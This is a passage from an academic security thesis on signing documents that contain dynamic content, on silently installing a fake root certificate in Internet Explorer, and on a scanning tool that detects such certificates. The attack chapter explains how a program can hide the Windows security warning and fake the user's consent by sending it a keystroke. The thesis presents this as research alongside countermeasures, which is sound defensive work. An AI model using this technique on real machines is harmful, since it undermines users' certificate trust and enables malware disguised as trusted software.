content of that external resource should also be signed as via
a signature Reference — otherwise the content of that exter-
nal content might change which alters the resulting document
without invalidating the signature.
One problem with this solution is that the XML document may no longer
contain all the dynamic content of the original document. For instance, if
a Microsoft Excel document contains macros, then in order to avoid any
possible problems arising from such dynamic content, all macros should be
removed from the XML version. This will render the document useless if
there are macros that are needed to present the document to the user, or
if the user wants to make changes to the document using the macros.
4.4.4 Document Parser
Another approach to solving the problem is to create a digital signature
program with its own document parser [87]. That is, whenever the user
wants to sign a document, the digital signature program parses the digital
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document and removes all dynamic content. In this approach, the digital
signature program will need to be aware of most, if not all, digital document
formats, which appears infeasible.
Thus, as it stands, this approach is impractical because of the need to
provide a document parser for every possible document format. However,
it might be possible to provide a parser for the most popular document
formats. Nevertheless, problems will still arise, since not all document
format specifications are available, and the owners of proprietary document
formats often change the format with every release of their product.
4.4.5 Graphics Version
The What You See Is What You Sign (WYSIWYS) concept [129] is de-
signed to solve the ambiguity problem arising from signing digital docu-
ments with dynamic content. This approach works by creating a graphical
representation of the digital document and then digitally signing it. That
is the approach taken by a commercial product [149] running under the
Microsoft Windows operating system. It works as follows.
1. When installing the digital signature program, it sets up a special
printer driver that functions like a normal printer, but, instead of
printing a document on paper, prints it to an image file.
2. The user requests the digital signature program to sign a docu-
ment by either printing the document to the digital signature special
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printer from within the application program, or by launching the
digital signature program and passing the document as an input. In
the latter case, the digital signature program, with the help of the
operating system printing subsystem, requests the application pro-
gram to print the document to the digital signature program special
printer.
3. The digital signature program creates a static image of the document,
i.e. a graphical representation of the document, using a popular image
format, such as TIFF (.tif), bitmap (.bmp), or JPEG (.jpg). It is
worth noting that the digital signature program does not need to
understand the format of the document to be signed. As stated
above, the static image is produced by requesting the application
program to print the document to the special digital signature printer
driver (using the operating system printing subsystem).
4. The user views the static image of the digital document and approves
it for signature.
5. The digital signature program then signs the static image of the doc-
ument. If necessary, the program can also sign the original document
and send it with the static image, but, and according to [149], this
should not be used as a legal reference.
This approach appears to work well. However, it removes a lot of the
flexibility enjoyed in today’s business environment. Also, sending an image
potentially consumes a lot more bandwidth than just sending the digital
document.
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4.5 A New Solution
In this section, we propose a new method to solve the problem of signing
digital documents with dynamic content. The solution works in a similar
way to the document parser solution outlined in Section 4.4.4. The main
difference is that our proposed solution passes the document parsing task
to the document generator program. This removes the need for the digital
signature program to be aware of the document format specifications in
order to generate a static version of the document, i.e. a version of the
document without dynamic content.
Furthermore, the solution is flexible in that it can handle document for-
mats introduced after the signing program was released. The solution
as described here uses the Microsoft Component Object Model (COM)
architecture [16]; however, other component based architectures, such as
CORBA [116] or Java, could also be used. The solution is based on two
assumptions, as follows.
1. The verifier has access to the program that was used by the signer
to generate the digital document. In other words, both signer and
verifier have access to the COM object that can generate a ‘safe’
digital document for the specific digital document type. For example,
if the signer is signing a document created by Microsoft Word, then
the verifier should also have access to Microsoft Word.
2. All programs that generate digital documents that may need to be
signed must be aware of the digital signature program, i.e. they must
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possess application awareness. For example, in the Microsoft Win-
dows environment, this assumption can be met by registering the
COM component of the application responsible for creating a static
version of the document under a key in the Registry. We will discuss
these assumptions in more detail below.
4.5.1 Application Awareness
In order for an application to be digital signature aware, it should meet
the following two requirements:
1. It must implement an object that exposes a COM interface to help
the digital signature program communicate with the application.
2. When installed, it must register itself in a predefined key location
in the Registry, i.e. the data repository in the Microsoft Windows
environment in which most of the Windows settings and program
information are kept. The Registry location used must be specific to
the digital signature program. This will make it easier for the digital
signature program to locate digital signature aware applications.
Given that the application meets the above two requirements, the digital
signature program can consult the Registry and search for the application
that is associated with any digital document (using the file type indica-
tion following the full stop in the file name). Once it has identified the
application that generated the document, it creates an instance of that
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3. Sign received static document
Dynamic Document
2. Send Dynamic document to application
Registry
Digital Signature
Application
COM Interface
Digital Signature
aware Application
application and create an instance of it
1. Get GUID of Digital Signature aware
Static Document
Figure 4.2: Signing a digital document
application and, using the digital signature COM interface, passes it the
document and requests it to generate a static representation of the docu-
ment. In the next two sections, we describe the processes of signing and
verifying digital documents.
4.5.2 Signing a Digital Document
To sign a digital document, the signer uses the relevant application to
check that the document appears correct. The digital signature program
is then invoked and is passed the document. The digital signature program
performs the following steps in order to sign the document, as shown in
Figure 4.2.
1. The program consults the Registry and searches for the application
program that generated the document, using the document filename
extension as a key. It then obtains the Globally Unique ID (GUID) of
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the application and creates an instance of the application in order to
get access to the digital signature interface. If the digital signature
program cannot find the GUID of the application responsible for
creating the particular document type, the user should be warned,
and given the option of either signing the document or not.
2. The program sends the document to the identified application through
the digital signature COM interface that was acquired in step 1, and
requests it to parse the document and return it in a static form.
3. The signature program receives back the static form of the document
and signs it.
4.5.3 Verifying a Signed Document
In order to verify a digital signature on a document, the document, the
signature, and the signer’s public key are input to the signature program
for verification. After performing steps 1 and 2 as described in Section
4.5.2, the signature program verifies the digital signature against the static
version of the document it received in step 2, and outputs a ‘true/false’
indicator. If the output value is true, then the signature is valid. Figure
4.3 illustrates the process of verifying a digital signature on a document
with dynamic content.
The first assumption mentioned in Section 4.5 states that the signer and
the verifier must have access to the same application that generated the
digital document. if the verifier does not have access to the application that
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generated the digital document, the user should be warned and given the
option of either verifying the digital signature of the dynamic document or
not. It worth noting that we assume that the digital document application
would maintain document format compatibility between different versions
of the application.
COM Interface
Digital Signature
Application
Signature verification process
Digital Signature +
Dynamic Document +
Signer’s Public Key
True/False indicator
Digital Signature
aware Application
Figure 4.3: Verifying a signed document
4.6 Security Analysis
We now briefly review some possible attacks on the scheme described im-
mediately above.
4.6.1 File Type Attacks
As discussed in Section 4.5.1, the application program must register the
file type extensions that it uses in a special location within the Registry, in
addition to the ‘regular’ extension registration process. Correct operation
of the proposed solution relies heavily on the correctness of both docu-
ment extensions and the file type/extension table held in the Registry.
Apart from ensuring that the application program possesses application
awareness of the digital signature program, the use of a special extension
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mapping table minimises the risk of accidental changes to this table.
The document extension scheme could be attacked by taking advantage of
this reliance. One attack of this type would be to change the extension of
a document that is to be signed. For example, suppose that a document
is in Microsoft Word format, i.e. it has the extension .doc, and that a
malicious third party changes its extension to .txt, the extension for text
files. In order to sign the document, the digital signature program performs
all the steps discussed in section 4.5.2, and passes the document to the
application registered for handling text files. Since .txt files cannot contain
dynamic content, the application will simply return the unchanged file to
the signature program, which will sign it.
If an attacker can change the document type back to .doc before it is
viewed by the signature verifier, then problems can clearly arise. If the file
contains dynamic content then the problem that the solution was designed
to avoid will recur on the verifier’s computer. The only way of avoiding
this problem is to prevent changes to the file type extension, which can be
achieved by including the file name within the scope of the digital signa-
ture. However, even if such a precaution is enforced (and this would be
our recommendation) problems can still arise if the extension/application
mapping table in the Registry can be modified, as we now describe.
Suppose an attacker can modify the signature program extension/application
association tables in the Registry of both the signer’s and the verifier’s
computer, so that in both cases .doc files are processed by an applica-
tion designed to work with ASCII text files. Suppose, moreover, that the
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signer is given a document to sign that contains dynamic content. When
the signature program passes it to the application to make a static version,
no changes will be made since the document will be treated as an ASCII
text file. Exactly the same will happen at the verifier, and the signature
on the document will thus be verified. However, when the verifier views
the document using Word, the dynamic content will be activated, and the
usual problems with dynamic content arise.
It should be noted that, as long as the file name (and hence the exten-
sion) is signed, attacks require the modification of settings on the signer
and/or verifier machine. The use of a special association table, used only
by the signature program, will prevent such changes being made acciden-
tally. However, no system can completely address threats which arise if
attackers have access to the signer or verifier computer, and thus users of
signatures should take all the usual precautions to protect the integrity of
their computers.
4.6.2 Document Parsing
The proposed solution assumes that the digital signature aware application
produces a ‘truly’ static document when requested to parse a document.
A ‘truly’ static document is a document that does not depend on system
or user defined variables. For example, suppose a document has a macro
that uses system dependent variables, such as operating system version
or current system date. In such a case the application should substitute
the system dependent variables with the current values. Another possible
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solution is for the digital signature aware application to return an error
value to the digital signature program, requesting the user to remove the
external variables.
4.6.3 Changes to Documents
In order to sign a digital document, the user views the document on the
screen, approves it for signature, and finally requests the digital signature
program to sign it. However, a threat exists that the document could be
changed after the user views it and before the document is signed. For
instance, just after viewing the document and before signing it, a piece of
malicious code could change the document.
This issue can be addressed by integrating the digital signature functional-
ity into the application itself, instead of separating the viewing and signing
functions. An application may provide both facilities to the user; for in-
stance, the application may enable the user to view the document, approve
it for signature, and have the signature generated (e.g. using a system func-
tion call) without switching to any other application.
Of course, this problem arises with any scheme designed to sign documents,
independently of the solution described in this chapter. Again, this under-
lines the importance of protecting the integrity of any computer used to
create digital signatures.
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4.7 Conclusions
The suggested solution requires all document handling applications to pos-
sess application awareness of the digital signature program in order to
function properly. Every application must implement a COM interface
and register itself in the Registry, in a location specific to the digital sig-
nature program, to enable the digital signature program to sign the digital
document. We conclude this chapter by discussing one possible area for
possible future research.
In order to sign a digital document, the user private key should be accessi-
ble to the digital signature program. Securing the user private key is very
important to the operation of the suggested solution and, indeed, to any
implementation of digital signatures. Where should this key be stored?
The use of trusted computing technology [11], as incorporated into Mi-
crosoft’s Next Generation Secure Computing Base (NGSCB) [40], may be
useful in this context. Further research in this area is required in order to
answer such questions.
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If a malicious party can insert a self-issued CA public key into the list of
root public keys stored in a PC, then this party could potentially do consid-
erable harm to that PC. In this chapter, we present a way to achieve such
an attack for the Microsoft Internet Explorer web browser root key store.
This attack is designed so that it avoids attracting the user’s attention. A
realisation of this attack is also described. Finally, countermeasures that
can be deployed to prevent such an attack are outlined.
Note that much of the material in this chapter has previously been published
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in [6].
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5.1 Introduction
As is widely known [91], most web browsers (e.g. Microsoft Internet Ex-
plorer or Netscape) have a repository of root public keys used to verify
digitally signed public key certificates. These public keys are bundled with
distributions of the web browser. One application of the root public keys
is to verify the public key certificates of applet providers [107]. Specifi-
cally, web-sites may download applets to a user PC without the PC user
knowing it. Depending on the security settings selected by the PC user,
these applets may be executed with or without further checks. Typically,
the browser will only execute the applet if the following conditions are
satisfied.
1. The applet must be digitally signed, and the signature must verify
correctly.
2. The public key required to verify the signature on the applet must
be contained in a (valid) public key certificate signed using a private
key corresponding to one of the stored root public keys. That is, the
certificate must be verifiable using a stored root key.
3. The PC owner answers ‘yes’ to a question along the following lines:
‘Are you prepared to trust software signed by X’, where X is the
name in the certificate verified in the previous step.
Suppose that a malicious entity generates two key pairs. One key pair
is designated the CA key pair, and the other key pair is designated the
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software supplier key pair. The private key from the CA key pair is used
to sign a certificate for the public key from the software supplier key pair,
and the name of a reputable software supplier is included in this certificate.
Now, if the malicious party could insert his CA public key into the list of
root public keys stored in a PC, then this party could successfully sign
applets (using the software supplier private key) which will appear to a
user of the PC as if they come from the reputable software supplier.
This is clearly a possible route for an attack on a PC. However, there are
two obvious questions which must be answered before it is worth consid-
ering this further.
1. If an attacker is able to insert false public keys into the PC reposi-
tory, then why not simply insert a rogue application directly? There
are two possible answers to this question. Firstly, the insertion of
a false public key allows arbitrary numbers of rogue applications to
be executed on a PC, at any time in the future. This means that
installing a rogue root CA public key is an attack that “cascades”.
Secondly, a false public key is undetectable by current attack detec-
tion software, whereas a malicious application will often be detected
by such software. The reason that rogue public keys are not detected
by virus scanners is that there is no simple way of distinguishing be-
tween public keys which should be in the list, e.g. because they were
supplied by the browser or because they have deliberately been added
by the user, and those which should not.
2. If an attacker is able to insert false public keys into the PC repository,
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then why not simply corrupt the web browser to remove the checking
of downloaded applets? The answer to this is straightforward; it
may be a lot simpler to insert a single false public key into a PC
repository than to come up with a patch to Internet Explorer that
stops the checking of applets. The latter would presumably require
a sophisticated understanding of the Internet Explorer executable.
The rest of the chapter is organised as follows. Section 5.2 discusses re-
lated work. Section 5.3 discusses at a high level possible means by which a
root public key can be installed into a PC. Section 5.4 describes in detail
one practical method for installing a root public key without user inter-
vention, which has been successfully implemented. Section 5.5 analyses
possible countermeasures that can be deployed to prevent such an attack
and Section 5.6 concludes this Chapter.
5.2 Related Work
We are not aware of any other work that addresses this exact problem.
However, Levi pointed out the general problem and the dangers posed
by root public keys [91]. He suggested that root certificate installation
should be avoided, and that access to the root certificate store should be
controlled. Moreover, he recommends that users should check certificate
details to make sure that every certificate is valid and genuine.
Hayes [59] discusses a practical solution enabling a CA to provide a secure
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in-band update of a CA X.509 v3 certificate in a user’s personal security
environment. In a further paper [58], Hayes discusses the vulnerability of
multiple roots in web browsers and the dangers of certificate masquerading.
The need for improved methods for verifying the binding of a root CA to
the source of protocol messages is described in [58].
5.3 Installing Root Certificates
Installing a root certificate is a straightforward process. In this chapter we
will limit the discussion to the Microsoft Windows XP operating system
and the Microsoft Internet Explorer web browser [125]; other operating
systems and web browsers have similar means for installing root certifi-
cates. This discussion provides the necessary background for the attack
described in section 5.4.
Before proceeding, observe that a root public key is always stored by Inter-
net Explorer in a special format known as a ‘self-signed certificate’. This
means that the public key is actually stored in an X.509 certificate, where
the certificate is signed using the private key corresponding to the public
key inside the certificate. Whilst such a certificate does not function like a
normal certificate, i.e. it does not guarantee the binding between subject
name and public key, it does guarantee that the subject of the certificate
knows the private key corresponding to the public key (so called ‘proof of
possession’, [102]). This is because, in order to trust the content of the
self-signed certificate, i.e. to believe the binding between name and public
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key that is inherent in the certificate, one needs a priori to trust the public
key used to verify the self-signed certificate. As a result these root public
keys are typically (rather confusingly) referred to as ‘root certificates’ or
‘X.509 root certificates’ and we follow this convention in the remainder of
this chapter.
In the remainder of this section we therefore first consider how a root public
key can be put into the X.509 root certificate format (Section 5.3.1). We
follow this by describing the conventional method for adding such a root
certificate to the list stored by Windows (Section 5.3.2). This is then
followed by a general discussion of means by which this might be achieved
without the PC user’s knowledge or consent (Section 5.3.2).
5.3.1 Creating a Root Certificate
Creating an X.509 root certificate [107] can be achieved using any of the
freely available certificate creation tools [99, 61, 120]. One such tool is
makecert.exe [99] as supplied by Microsoft. Using makecert.exe, the com-
mand shown in Figure 5.1 will issue a self-signed root certificate and save
it to a certificate file ‘root.cer’. It creates a public and private key pair for
digital signatures. It stores the private key in the file that was passed as
part of the command line, i.e. ‘root.pvk’ in the given example. If the file
does not exist, the command creates it to store the private part of the key.
Two command line arguments are of particular significance here, namely
the -r and the -n options. The -r option is used to issue a self-signed root
certificate and the -n option is used to specify the subject certificate name
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in a way that conforms to the X.509 standard.
makecert -r -n "CN=MyRootCA,OU=MyOrganization,O=CompanyName,
E=Emailaddress" -sv root.pvk root.cer
Figure 5.1: Creating a root certificate using makercert.exe
We next explore various ways in which a root certificate, e.g. created using
makecert.exe, can be added to the list used by Internet Explorer.
5.3.2 Installing a Root Certificate Under User Control
Once a root public key has been created and inserted into a self-signed
(root) certificate, double clicking on the root certificate file launches the
certificate management program (the Microsoft Certificate Import Wizard)
to view and install certificates. The certificate management program then
displays a set of dialog boxes to allow the user to manage the root certificate
installation process. In a typical scenario, a user will keep clicking ‘OK’
and accept the default settings for each of the dialog boxes.
We next consider what processes are being executed by Windows when
these dialog boxes are shown. This will provide the basis for an under-
standing of how adding a root certificate might be achieved without user
consent.
1. The user double clicks on the certificate file. Microsoft Windows then
launches the certificate management program to open the certificate
(see Figure 5.2).
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Figure 5.2: ‘Installing a new certificate’ dialog box
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Figure 5.3: ‘Selecting the certificate store’ dialog box
Installing the certificate can be initiated by clicking on the “Install
Certificate” button, which displays a dialog box requesting the user
to select a store in which to place the new certificate, as shown in
Figure 5.3.
2. If the user accepts the default settings, the wizard will select the
certificate store based on the type of the certificate. In the case
of a root certificate, the certificate will be stored in the certificate
authority (CA) store, which is located in the Windows Registry.
3. When the next button is clicked, and if the certificate type is a root
certificate, a security warning message box will be displayed and
waiting for user action to complete the task. This box will ask the
user for confirmation that the user wishes to add the new certificate
to the root store, see Figure 5.4. The message box shows the issuer
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Figure 5.4: ‘Adding a root certificate’ message box
name and thumbprint for the certificate, i.e. a hash-code computed
as a function of the certificate. The thumbprint is shown in the
message box to help the user confirm the validity of the certificate.
For example, the user could obtain the correct thumbprint from the
certificate issuer, and compare this with the thumbprint displayed
in the message box. Normal users, i.e. users without administrative
privileges, can still install root certificates.
5.3.3 Malicious Installation of a Root Certificate
A malicious third party could install a root certificate by running a special
applet that inserts a self-issued root certificate into the browser’s list of
root CAs. However, if the malicious applet uses the certificate import
wizard to achieve this, the certificate import wizard will display a message
box to alert the user to the fact that a third party is trying to install
a root certificate on their machine, as described in Section 5.3.2. The
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challenge for the attacker is to ‘silently’ install the root certificate without
user intervention. In the next subsection, general approaches to silent root
certificate installation are discussed.
5.3.4 General Approaches to Silent Root Certificate Installation
In order to silently install a root certificate, a malicious third party must
first be able to convince the user to run a special applet that will install the
root certificate. This could be achieved in a variety of ways, e.g. by a virus,
a trojan horse, or simply a Java or Visual Basic script. The malicious code
could use more than one approach to silently install a root certificate into a
PC. The following are two possible approaches by which the attack could
be achieved.
1. Using standard tools
This approach uses the standard tools, e.g. the Microsoft certificate
import wizard, to install the certificate, but somehow manages to
hide the ‘security warning’ message box. As above, a malicious third
party must first convince the user to run a program that will insert
the root certificate into the PC. The program can use features of the
Windows operating system Graphical User Interface (GUI) to hide
the ‘security warning’ message box and simultaneously simulate user
acceptance that a new root certificate should be added to the store.
This approach will be discussed in more detail in Section 5.4.
2. Writing directly to the root certificate store
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Figure 5.5: Changes made to the Registry when installing a new root
certificate
In this approach, the malicious program writes the false root cer-
tificate directly to the certificate store, i.e. the Registry in the case
of Internet Explorer, without using any of the provided tools. The
Registry [62] is the data repository in the Microsoft Windows envi-
ronment in which most of the Windows settings and program infor-
mation are kept. The Registry has a hierarchical structure analogous
to the directory structure in a file system. However, instead of us-
ing folders and subfolders, it uses keys and subkeys. When a root
certificate is installed, certain changes are being made to the Reg-
istry, as shown in Figure 5.5. First, a subkey is created for the new
certificate in the root certificates store underneath the ‘Certificates’
key. The value of the subkey is the Thumbprint of the newly added
certificate, i.e. the subkey that starts with ‘4D2C41. . . ’ in the figure.
Second, an entry is created under the ‘4D2C41. . . ’ subkey to store
the certificate details, i.e. ‘Blob’ in the case of the example shown
in Figure 5.5. Finally, the subkey ‘ProtectedRoots’ is created un-
derneath the ‘Certificates’ key, which is a binary value that needs
special access control privileges to change or manipulate.
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We were able to write a small program to write directly to the reg-
istry and to produce most of the keys. However, we were not able
to reproduce the value stored in the ‘ProtectedRoots’ subkey. More-
over, there is access control protection on the ‘ProtectedRoots’ that
requires a special privileged user, i.e. SYSTEM, to change the value
of the key. The details of how to correctly make such modifications
to the Registry is far from obvious and, as a result, it has, so far, not
been possible to successfully implement such an attack.
5.4 A Practical Method for Silently Installing a Root Cer-
tificate
In this section, a practical method for silent installation of a root certificate
is introduced. This method is an implementation of the first approach out-
lined in Section 5.3.4. The method relies on the Microsoft Windows Cryp-
tographic Application Programming Interface (CryptoAPI) [100] to install
a root certificate. It uses the CAPICOM, which is the Microsoft Crypto-
graphic API with COM [16] support. It also uses features of the Microsoft
Windows message system [101] to hide the ‘security warning’ message box.
The following paragraphs describe the solution in more detail.
First, as previously, we suppose that a user executes a malicious third party
program that will install the fake root certificate. In order for the malicious
third party program to achieve such a task it performs the following steps.
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1. The program must have access to a copy of the false root certifi-
cate. The fake root certificate can be hard coded in the program or
stored in an external file or link. Makecert.exe or any other certifi-
cate creation tool could be used to create the fake root certificate, as
described in Section 5.3.1.
2. When the program starts, it creates another running thread that
monitors all windowing activities in the user’s environment; we call
this thread the ‘monitoring thread’. The main task of the monitor-
ing thread is to monitor all windows activities on the system until
it detects the ‘security warning’ message box, get a ‘handle’ to it,
and then take actions to both hide the box and provide a fake user
confirmation (as described below). A more reliable way to detect
the ‘security warning’ message box creation event is to use Windows
Hooks [41], a mechanism to intercept system events. Using Windows
Hooks, obtaining the handle of the ‘security warning’ message box
can be achieved by intercepting the window creation system message
that is sent to the application when creating the ‘security warning’
message box.
3. After creating the monitoring thread, the programmakes a CryptoAPI
call to add the fake root certificate to the list of root certificates in
the system. When the program executes the call to the CryptoAPI
to add the new root certificate, the CryptoAPI displays a security
warning message box and waits for the user to confirm the addition of
the root certificate. At this moment, the monitoring thread detects
the security warning message box and obtains a handle to it.
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4. The monitoring thread now takes steps to immediately provide a
positive user response to the message box. This is achieved by the
program sending a WM CHAR message to the message box window
handle. This message contains ‘Y’, i.e. it simulates the effect of
the user pressing ‘Y’ on the keyboard as a positive response to the
request made by the message box. The message box will immediately
disappear, and the user will probably not detect anything untoward
as the box will disappear almost as soon as it appears.
It is worth noting that, in some circumstances, the message box
will be visible for a short time. For example, in a heavily loaded
operating environment, the speed of screen refreshing is affected.
This condition could enable the user to see the message box for a
short time. The Microsoft Windows GUI system has the feature of
creating an invisible window, or hiding visible windows. It is possible
to hide the window so that the user would not notice the message
box. However, when the window is invisible it will not be possible
to send it messages until it is visible again.
5. Now, as shown in Figure 5.6, the root certificate will have been added
to the list of root certificates in the user’s PC.
This approach to implementing a ‘silent’ root key installation attack would
also work for other web browsers, and/or for browsers running on other
platforms. For example, we believe that a similar approach could be used
to silently install a fake root public key in the root key store for the
Netscape/Mozilla browser running on a Linux platform. However, the
exact method of implementing such an attack is dependent on the version
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Figure 5.6: ‘List of root certificates’ dialog box
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of the Netscape/Mozilla browser being used, as well as the graphical user
interface installed on the user machine.
The Mozilla/Netscape browser stores the root public keys using Berkeley
DB [66] format in an encrypted file named ‘cert8.db’, stored in the user
home directory. Access to the password that was used to encrypt the file is
required in order to modify the file and insert the fake root public key. The
protection of the root public key store in the Mozilla/Netscape browser is
similar to the protection of the Registry in the IE browser. However, a
brute force attack is possible to recover the password and insert the fake
root public key in the certificate store.
Code implementing the attack described above is provided in Appendix A.
The code successfully performs the addition of a root certificate without
user intervention or user knowledge.
5.5 Countermeasures
We conclude this chapter by suggesting some countermeasures to the threat
of installation of a fake root certificate in a user PC. As with any security is-
sue, there are two fundamental approaches to such a problem: (pro-active)
prevention and (reactive) after the-event detection. We first mention two
possible preventative measures.
1. When carrying out such a security sensitive task, users should always
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be re-authenticated. This would eliminate the problem of a malicious
third party adding a root certificate without user intervention. How-
ever, a sophisticated attack could employ the user stored password
for re-authentication.
2. The attack could also be prevented by restricting access to the list
of root public keys to special privileged users or processes.
Whilst prevention is the ideal solution, this can only be achieved in the
long-term, since it requires modifications to the Windows environment. To
address the problem in the immediate future requires reactive measures
which detect when a false root certificate has been added (and take steps
to remove it). One approach to the problem involves producing a tool that
scans the list of root certificates for malicious third party certificates. Such
a utility would need to have access to the list of ‘good’ root certificates.
One approach would be for the utility to store the list of root certificates
that comes with the browser on its first installation. The user can then
run this scanning utility routinely to check for the presence of malicious
third party root certificates. This approach is discussed in more detail in
Chapter 6.
A second approach is to use the Online Certificate Status Protocol (OCSP)
[106] to verify the status of a certificate before using it, and only allow
‘current’ certificates to be used. However, a motivated attacker might set
up a rogue OCSP server to engage in such a protocol and fake the status
of the certificate.
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A further approach is for the browser to maintain two lists of root keys.
One list is for the genuine root keys that were verified by the publisher
of the browser, i.e. shipped with the browser. A second list will contain
root public keys that were added by the user and that were not shipped
with the browser. In this scenario, when engaging in transactions that use
one of the root public keys in the second list, the browser will indicate the
fact that the root public key being used is not from amongst those shipped
with the browser, and hence is less reliable. As a consequence, the browser
would give the user the option to stop the transaction.
Both the pro-active and reactive approaches to addressing this threat are
subjects requiring further research.
5.6 Conclusions
It is likely that most web browsers and operating systems are candidates
for the attack discussed in this chapter. Users should take special care
when installing root certificates. Normal users should not be allowed to
install new root certificates or make any changes to the root certificate
store. The user would consult the system administrator in order to install
a new root certificate. Implementing such steps would eliminate most of
the problems associated with a malicious third party installing a fake root
certificate.
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As has been demonstrated in chapter 5, a malicious third party could insert
a self-issued CA public key into the list of trusted root CA public keys stored
on an end user PC. As a consequence, the malicious third party could
potentially do severe damage to the end user computing environment. In
this chapter we discuss the problem of fake root public keys and suggest a
solution that can be used to detect and remove them. We further describe
a prototype implementation of this solution.
Note that much of the material in this chapter has previously been published
in [7].
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6.1 Introduction
As presented in chapter 5, a malicious third party could insert a fake root
public key into the list of trusted root public keys. In this chapter, a tool
to detect the insertion of fake root CA public keys is discussed, and the
implementation of a prototype tool is described. The rest of the chapter is
organised as follows. Section 6.2 outlines ways in which a root key insertion
attack might be conducted. Section 6.3 discusses possible means to deal
with unauthorised insertion of root public keys. Section 6.4 describes a
tool to detect and remove suspicious root CA public keys. A prototype
implementation of the tool discussed in Section 6.4 is described in Section
6.5, and Section 6.6 conclude this Chapter.
6.2 Root Key Insertion Attacks
A malicious third party could insert a self-issued public key [38] into the
list of trusted root public keys on the end user’s PC, as demonstrated in
chapter 5. As a consequence, the malicious third party could potentially do
severe damage to the end user computing environment. For example, the
malicious third party could sign applets, macros, and emails and claim that
they originate from a reputable software company or web site. A possible
scenario for such an attack is discussed in the following paragraph.
One possible means by which a fake root public key insertion attack could
be exploited is through web spoofing, as discussed in chapter 3. In such
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an attack, the malicious third party installs the fake root public key into
the victim PC, e.g. using the technique described in chapter 5, and then
convinces the victim to visit a spoofed secure web site. When the victim’s
navigates to the spoofed secure web site, the victim’s browser will receive
an applet apparently signed by a legitimate party. Depending on the secu-
rity settings, the browser will either run this applet without notifying the
user, or will ask the user’s permission to execute it whilst providing (false)
assurance to the user regarding the provenance of the applet. Detecting
such an attack would be difficult for an average user. One possible way to
detect the attack is to examine the URL of the visited web site. However,
a determined malicious third party could fake the browser’s URL bar that
displays the URL of the genuine web site, as discussed in [159]. The web
spoofing attack scenario shows how dangerous fake root insertion can be.
The focus of this chapter is on measures to address attacks after they
have occurred, rather than on preventative measures. Such preventative
measures are a topic for future study. In the next section, possible means
to deal with unauthorised insertion of root public keys are discussed.
6.3 Addressing Root Key Insertion Attacks
It would be very difficult for the vast majority of users to detect the in-
sertion of a false root key without the aid of supporting tools or utilities.
However, general strategies can be devised to facilitate the detection of
such an attack. The possible strategies are discussed in the following para-
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graphs.
One possible strategy to detect and possibly eliminate inserted root keys
is by using a root public key scanning tool. The scanning tool searches the
user’s root public key store for fake root public keys. When a fake root
public key is found, the scanning tool provides the possibility to delete,
view, or backup the fake root public key. This strategy is discussed in
more detail in Section 6.4.
Another possible strategy is the use of integrity check tools. Here, an
integrity check tool is used to compute an integrity check value (ICV),
e.g. a cryptographic hash code (see chapter 2), on the root public key
store. The user can recomputed the ICV at any time and compared it
with the previously computed value. If the two values do not match, the
tool could alert the user of the fact that changes have been made to the
root public key store. However, it would not be possible for the tool to
distinguish between a malicious or an innocent insertion of a root public
key. Moreover, such a check will not reveal exactly which root public key
is causing the check values to be different. An attacker could, of course,
subvert this hash creation process by first installing a fake root certificate
and then recomputing the hash value of the root public key store.
A third possible strategy is to use backup tools. Here a backup tool main-
tains a separate copy of the root public key store. On demand, the backup
tool compares the current root public key store with the backup copy and
reports any differences. Such a tool could detect newly inserted root public
keys and, if required, delete them. It would also be possible for such a tool
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to restore the root public key store to a previous state.
6.4 The Scanning Tool
The main objective of a root public key scanning tool is to detect and
remove fake root public keys. The scanning tool requires the following two
functionalities in order to achieve its objectives.
1. The tool should have access to the root public key store, which holds
the root public keys currently installed on the user’s PC. The appro-
priate access right is required to allow the tool to remove fake root
public keys.
2. The tool should have some means of distinguishing between ‘genuine’
and ‘fake’ root public keys.
A possible technique for distinguishing between ‘genuine’ and ‘fake’ root
public keys is to maintain a list of known genuine root public keys. The
tool compares the list of genuine root public keys with the set of keys found
on the user’s PC to detect any mismatch. Once a mismatch is found, the
scanning tool has detected a ‘suspicious’ root public key. This technique
is the basis of the prototype discussed in Section 6.5. The scanning tool
cannot guarantee that a detected root public key is actually a fake, because
users may add their own root public keys. The scanning tool would need
a separate list of known fake root public keys in order to be able to mark
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any key as certainly ‘fake’. The list of genuine root public keys could be
obtained in various ways. One possible approach would be to bundle with
the tool the list of root public keys supplied by the manufacturer of the
browser. This list can be updated to include newly added root public keys.
Another technique for distinguishing between ‘genuine’ and ‘fake’ root pub-
lic keys is to maintain an online repository of fake root public keys. The
repository is continuously updated with newly discovered fake root public
keys. The scanning tool consults the online repository to check the status
of a given root public key, to discover whether it is a known fake. The
technique mentioned in the previous paragraph can be combined with this
technique to achieve better scanning results.
6.5 A Prototype Implementation
In this section, a prototype implementation of the root public key scanning
tool is discussed and analysed. The tool was implemented on the Microsoft
Windows XP operating system and the main user interface for the scanning
tool is shown in Figure 6.1. When executed, the tool performs the following
steps.
1. Loads a list of ‘genuine’ root CA public keys from the tool’s database.
2. Loads the list of root CA public keys currently installed on the user’s
PC.
3. Compares the installed list to the ‘genuine’ list. When an entry that
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is not present in the ‘genuine’ root CA public keys list is found, the
tool marks it.
Figure 6.1: The Scanning Tool main interface
The prototype is implemented using Microsoft Visual Basic .NET and
the Microsoft Windows Cryptographic Application Programming Interface
(CryptoAPI) [100]. CryptoAPI contains procedures needed to interact
with the root public key repository. The main procedures making up
the tool are ‘LoadGenuineCAs’ and ‘LoadAndCheckInstalledCAs’. The
following paragraphs discuss these two procedures.
The main task of the LoadGenuineCAs procedure is to load the genuine
root CA public keys list from a file. The file is created when the tool is
installed and it contains a list of thumbprints of the genuine root CA public
keys. The list of genuine root CA public keys was generated at the time of
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tool development by importing the current default root CA public keys on
a Microsoft Windows platform. Regular updates of the file are required in
order to add new genuine CA public keys.
Once the list of genuine root CA public keys is loaded, the LoadAndCheck-
InstalledCAs procedure is executed and performs the following steps.
1. Open the root public keys store using the ‘Open’ method of the
‘Store’ CryptoAPI object, as shown in Figure 6.2. The ‘Certificates-
Store’ is an instance of the ‘Store’ object, which is used to obtain the
list of installed root public keys on the user PC. Three flags need to
be passed to the ‘Open’ method. The first flag indicates the location
of the certificate store. The name of the certificate store is given in
the second flag, and the third flag indicates open mode.
Private Sub LoadAndCheckInstalledCAs()
Dim CertificatesStore As New CAPICOM.Store
......
CertificatesStore.Open(CAPICOM.CAPICOM_STORE_LOCATION. _
CAPICOM_CURRENT_USER_STORE,
CAPICOM.Constants.CAPICOM_ROOT_STORE,
CAPICOM.CAPICOM_STORE_OPEN_MODE.CAPICOM_STORE_OPEN_READ_WRITE)
......
Dim CertIndex As System.Collections.IEnumerator
